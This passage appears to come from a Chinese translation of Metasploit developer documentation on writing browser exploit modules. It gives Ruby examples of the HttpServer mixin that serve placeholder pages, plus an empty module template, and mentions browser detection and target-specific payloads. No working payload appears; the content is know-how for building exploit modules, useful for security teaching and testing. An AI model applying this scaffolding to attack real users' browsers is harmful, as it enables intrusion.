def serve_page_1(cli)html = "This is page 1"send_response(cli, html)
enddef serve_page_2(cli)html = "This is page 2"send_response(cli, html)
enddef serve_default_page(cli)html = %Q|<html><a href="#{get_resource.chomp('/')}/page_1.html">Go to page 1</a><br><a href="#{get_resource.chomp('/')}/page_2.html">Go to page 2</a></html>|send_response(cli, html)
enddef on_request_uri(cli, request)case request.uriwhen /page_1\.html$/serve_page_1(cli)when /page_2\.html$/serve_page_2(cli)elseserve_default_page(cli)end
end

当然，当你写一个Metasploit浏览器漏洞时，你需要考虑的还有很多。例如，你的模块可能需要进行浏览器检测，因为让Chrome浏览器接收IE漏洞没有任何意义，不是吗？你可能还需要建立一个特定于目标的有效载荷，这意味着你的模块需要知道它所攻击的目标，而且你必须建立一个方法来相应地定制漏洞，等等。HttpServer和HttpServer::HTML混合体提供了各种方法，使你能够完成所有这些。请确保查看API文档（你可以通过运行msf/documentation/gendocs.sh来完成，或者直接在msf目录下运行 “yard”），或者查看现有的代码实例（尤其是最近的那些）。

为了开始工作，你总是可以使用下面的模板来开始开发你的浏览器漏洞：

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##require 'msf/core'class MetasploitModule < Msf::Exploit::RemoteRank = NormalRankinginclude Msf::Exploit::Remote::HttpServerdef initialize(info={})super(update_info(info,'Name'           => "HttpServer mixin example",'Description'    => %q{Here's an example of using the HttpServer mixin},'License'        => MSF_LICENSE,'Author'         => [ 'sinn3r' ],'References'     => [[ 'URL', 'http://metasploit.com' ]],'Platform'       => 'win','Targets'        =>[[ 'Generic', {} ],],'DisclosureDate' => "Apr 1 2013",'DefaultTarget'  => 0))enddef on_request_uri(cli, request)html = "hello"send_response(cli, html)endend

如果你想仔细看看这个函数能做什么，请看：https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/http/server.rb